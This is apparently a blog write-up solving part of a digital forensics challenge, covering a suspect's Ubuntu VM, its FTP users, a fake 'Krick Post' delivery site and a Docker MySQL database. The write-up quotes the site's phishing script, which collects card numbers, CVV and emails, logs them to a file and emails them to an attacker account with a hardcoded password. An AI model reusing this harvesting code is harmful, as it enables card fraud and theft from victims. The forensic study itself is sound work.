A. CentOs Linux 7.5.1804 (Core)

B. Ubuntu 22.04.1 LTS

C. CentOS Linux release 7.6.1810(Core)

D. Ubuntu 20.04.5 LTS

把这个.vmdk添加为新检材,查看基本信息:

image-20250815172918865

D

56.虚拟机(VM) 中的文件传输服务器(FTP Server) 有哪些用户?

A. nobody

B. root

C. admin

D. man

E. ftpuser

从这一步开始,只靠火眼是不行的了,我们必须想办法登录嫌疑人使用的ubuntu虚拟机

首先我的想法是直接从火眼检材里面导出储存有虚拟机的文件夹,可是导出的却无法使用,总是提示"找不到ubuntu 64-bit.vmdk",即使修改了.vmx文件,去掉路径空格也没有用,而且导出文件的好几个.vmdk似乎混在一起了,分卷大小很奇怪

在之后,我想直接在仿真了嫌疑人windows的虚拟机里使用这个虚拟机,结果可能是因为我的电脑没有关闭hyper-v和vbs,让虚拟机不能使用虚拟化功能,而手动关闭需要做的操作太麻烦也太未知,遂放弃

最后成功的方案:

安装好vmvare tools之后,按照路径把windows虚拟机里面存放ubuntu的文件夹复制到本机电脑,因为不知道密码所以把.vmdk交给火眼仿真,让火眼重置并生成新的虚拟机,最后登录再使用ssh链接(方便操作)即可

回到题目,判断ftp使用者的第一步是知道这台服务器上安装了哪一种ftp,使用下面命令查看:

ps aux | grep ftp

image-20250815200408543

这里可以看到是vsftp

具体判断方式需要审查vsftpd的黑白名单,结合uid和shell的允许与否,给ai整理成下面的shell脚本:

#!/bin/bash

CONFIG="/etc/vsftpd.conf"
FTPUSERS="/etc/vsftpd.ftpusers"
USER_LIST_FILE="/etc/vsftpd.user_list"

if ! systemctl is-active --quiet vsftpd; then
    echo "vsftpd 未运行"
    exit 1
fi

[ ! -f "$CONFIG" ] && { echo "配置文件不存在"; exit 1; }

LOCAL_ENABLE=$(grep -v '^#' "$CONFIG" | grep -E 'local_enable=.*YES' >/dev/null && echo YES || echo NO)
ANONYMOUS_ENABLE=$(grep -v '^#' "$CONFIG" | grep -E 'anonymous_enable=.*YES' >/dev/null && echo YES || echo NO)
USERLIST_ENABLE=$(grep -v '^#' "$CONFIG" | grep -E 'userlist_enable=.*NO' >/dev/null && echo NO || echo YES)
USERLIST_DENY=$(grep -v '^#' "$CONFIG" | grep -E 'userlist_deny=.*NO' >/dev/null && echo NO || echo YES)

BLACKLIST=()
[ -f "$FTPUSERS" ] && while IFS= read -r line; do
    [[ -z "$line" || "$line" =~ ^# ]] || BLACKLIST+=("$line")
done < "$FTPUSERS"

USER_LIST=()
[ -f "$USER_LIST_FILE" ] && while IFS= read -r line; do
    [[ -z "$line" || "$line" =~ ^# ]] || USER_LIST+=("$line")
done < "$USER_LIST_FILE"

USERS=()
while IFS=: read -r username _ uid _ _ _ shell; do
    if [ "$uid" -ge 1000 ] && [[ "$shell" != /usr/sbin/nologin && "$shell" != /bin/false ]]; then
        USERS+=("$username")
    fi
done < /etc/passwd

ALLOWED_USERS=()
if [ "$LOCAL_ENABLE" = "YES" ]; then
    for u in "${USERS[@]}"; do
        [[ " ${BLACKLIST[*]} " == *" $u "* ]] && continue
        if [ "$USERLIST_ENABLE" = "YES" ]; then
            if [ "$USERLIST_DENY" = "YES" ]; then
                [[ " ${USER_LIST[*]} " == *" $u "* ]] && continue
            else
                [[ " ${USER_LIST[*]} " != *" $u "* ]] && continue
            fi
        fi
        ALLOWED_USERS+=("$u")
    done
fi

echo "实际可登录 FTP 用户:"
if [ ${#ALLOWED_USERS[@]} -eq 0 ]; then
    echo "无用户可登录"
else
    printf "%s\n" "${ALLOWED_USERS[@]}"
fi

[ "$ANONYMOUS_ENABLE" = "YES" ] && echo "匿名用户可登录"

保存为test.sh,给他添加执行权限:

chmod +x test.sh

运行:

./test.sh

image-20250815201713295

一共两个,其中只有ftpuser符合题目选项

D

57.虚拟机设置了什么网页服务器(Web Server)?

A. NGINX

B. LIGHTTPD

C. WORDPRESS

D. APACHE

E. IIS

直接在火眼里就能分析,明面上的有apache和nginx,docker容器里面还有一个nginx,再没别的了:

image-20250815202026740

AD

*做到后面回来看,会发现其实真正只有一个 —— docker的nginx是可以使用的,本机无法检测到nginx和apache,所以这一题真正应该是只nginx:

A

*再次更正,其实是有apache的,只不过apache在ubuntu的服务名称是apache2,所以答案还是:

AD

58.网页服务器目录内有图片档案,而此档案的储存位置是?

A. /var/www/html/post/src

B. /var/www/html/post/css

C. /var/www/html/post/vendor

D. /var/www/post

没有tree命令,我们使用ls查看一下/var/www:

ls -R -1 /var/www

在/var/www/html/post/css下发现.png文件:

image-20250815202445751

B

59.分析网页服务器的网站数据,假网站的公司名称是什么?

A. Krick Global Logistics

B. Global Logistics

C. Krick Post Global Logistics

D. Krick Post

一开始我以为火眼分析的apache是错的,因为除了一条空的站点信息啥也没有,但点进去才发现原来这是apache的配置文件,这台服务器上搭载了的是apache2

image-20250815204505809

其实在上一题就应该意识到了,因为本机没有nginx,却有/var/www目录

在配置文件里面也能够找到网站页面存放的位置:

image-20250815204556092

那么同上题图,就可以知道一共有html和post两个页面

服务器的apache2已经打开了,直接访问一下,发现html访问不了,只有post有用:

image-20250815205105858

C

不要忽略了Krick Post下还有一行小字Global Logistics

60.检视假网站首页的显示,AY806369745HK 代表什么?

A. 邮件号码

B. 邮件收费号码

C. 邮件序号

D. 邮件参考号码

同上题图:

A

61.分析假网站的资料,当受害人经假网站输入数据后,网站会产生一个档案,它的档案名是什么?(不要输入“,以大写英文及阿拉数字回答。如 Cat10.jpg,需回答CAT10JPG)

查看网站介绍界面/var/www/html/post/index.php,发现这个表单提交数据的方式是:

<form align="center" action="process.php" method="post" name="Customerinfo">

表单会提交到process.php进行文件处理,也就是说档案名取决于process.php内部的实现

这个文件也在index.php同级,查看可以看到提交的数据会被写入一个固定的文件:

$resultFile = "vu.txt";

$fOpen = fopen($resultFile, "a");
fwrite($fOpen, "Date & Time: ".$dateTime."\n");
fwrite($fOpen, "Card Holder: ".$holdername."\n");
fwrite($fOpen, "Card no.: ".$cardno."\n");
fwrite($fOpen, "cvv: ".$cvv."\n");
fwrite($fOpen, "expire date: ".$exp_mth."/".$exp_yr."\n");
fwrite($fOpen, "Email: ".$email."@".$email_domn."\n");
fwrite($fOpen, "Browser Info: ".$browser."\n");
fwrite($fOpen, "\n"); //End of Entry
fclose($fOpen);

也就是说档案名是固定的vu.txt,我们也见过,这个文件也在index.php同级

VUTXT

62.分析假网站档案,process.php’ 源码(Source Code),推测此档案的用途可能是?

A. 改变函数

B. 产生档案

C. 发出邮件

D. 更新数据库

依旧process.php:

// 从 POST 获取受害人提交的数据
$holdername = $_POST["holdername"];
$cardno = $_POST["cardno"];
$cvv = $_POST["cvv"];
$exp_mth = $_POST["exp_mth"];
$exp_yr = $_POST["exp_yr"];
$email = $_POST["email"];
$email_domn = $_POST["email_domn"];

// 设置档案名称
$resultFile = "vu.txt";

// 打开档案并写入数据
$fOpen = fopen($resultFile, "a");
fwrite($fOpen, "Date & Time: ".$dateTime."\n");
fwrite($fOpen, "Card Holder: ".$holdername."\n");
fwrite($fOpen, "Card no.: ".$cardno."\n");
fwrite($fOpen, "cvv: ".$cvv."\n");
fwrite($fOpen, "expire date: ".$exp_mth."/".$exp_yr."\n");
fwrite($fOpen, "Email: ".$email."@".$email_domn."\n");
fwrite($fOpen, "Browser Info: ".$browser."\n");
fwrite($fOpen, "\n"); //End of Entry
fclose($fOpen);
...
use PHPMailer\PHPMailer\SMTP;

require_once __DIR__ . '/vendor/phpmailer/src/Exception.php';
$mail = new PHPMailer(true);

$mail->isSMTP();
$mail->Host = 'smtp.gmai1.com';
$mail->SMTPAuth = true;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
$mail->Username = 'chunhe11amm@gmail.com';
$mail->Password = 'rtatsceucpacocbdacs';
$mail->setFrom('chunhe11amm@gmail.com', 'Smith');
$mail->addAddress('chunhe11amm@gmail.com', 'Tyler');
$mail->IsHTML(true);
$mail->Subject = "vu";
$mail->Body = $message;
$mail->AltBody = ' ';
$mail->send();

它做了两件事:

产生档案:把受害人提交的数据写入vu.txt

发出邮件:将提交的数据通过PHPMailer发送到指定邮箱

BC

63.检视档案process.php’ 源码, 林浚照的电邮密码是?(以大写英文回答)

上一题的代码就能看出来,有这样一行:

$mail->Password = 'rtatsceucpacocbdacs';

也就是说电邮密码是:

RTATSCEUCPACOCBDACS

64.分析档案process.php’ 源码, 它不会收集哪些资料?

A. GPS位置

B. 信用卡号码

C. 短讯验证码

D. 电话号码

E. 电邮地址

还是看源码,不多赘述了

ACD

65.虚拟机 (VM) 安装了 Docker 程序,列出一个以'5’作为开端的 ‘Docker’ 镜像 (Image) ID (以阿拉伯数字及大写英文回答)

这也能作为题目吗…

image-20250815210651299

5d58c024174d

66.Docker 容器 (Container) ‘mysql’ 对外开放的通讯端口 (Port) 是?

启动看一眼:

image-20250815210829763

43306

67.Docker容器mysql,用户’root’ 的密码是?(以大写英文及阿拉伯数字回答)

查看命令历史记录:

image-20250815211019920

2wsx3edc

68.Docker容器,mysql 里哪一个数据库储存了大量个人资料?(以大写英文回答)

在本机链接数据库,账号密码root/2wsx3edc,一找就找到了:

image-20250815211402518

CUSTOMER

69.检视 Docker 容器’mysql’ 内数据库里的资料,李大辉的出生日期是?(如答案为 2022-12-29,需答 20221229)

sql查询(不知道为什么搜名字搜不出来,可能是过滤条件没写好,电话在李大辉手机可以得到):

SELECT DOB
FROM customer
WHERE Tel = '852-56412770'

image-20250815211941873

19850214

70.通过取证调查结果进行分析(包括但不限于以上问题及情节),林浚熙的行为涉及哪一种罪案?

A.传送儿童色情物品

B.抢劫

C.诈骗

D.勒索金钱

E.购买毒品

嗯,最好玩的一题

C是对李大辉

D是对王晓琳

E在林俊熙电脑里面有线索,signal可以看见溜冰的记录:

image-20250815212505751

嘻嘻,死罪!!!!

CDE

总算做完了,这套题是处处透露着诡异,个别题目意义不明,难度两极分化,选择题太多,根据选项才能得到结果,不根据选项又白白浪费提示,要绕很大一圈

不过整体来说过程还是很清楚的,好玩还是挺好玩,故事挺有带入感的

距离小站第一行代码被置下已经过去
使用 Hugo 构建
主题 StackJimmy 设计
...当然还有kakahuote🤓👆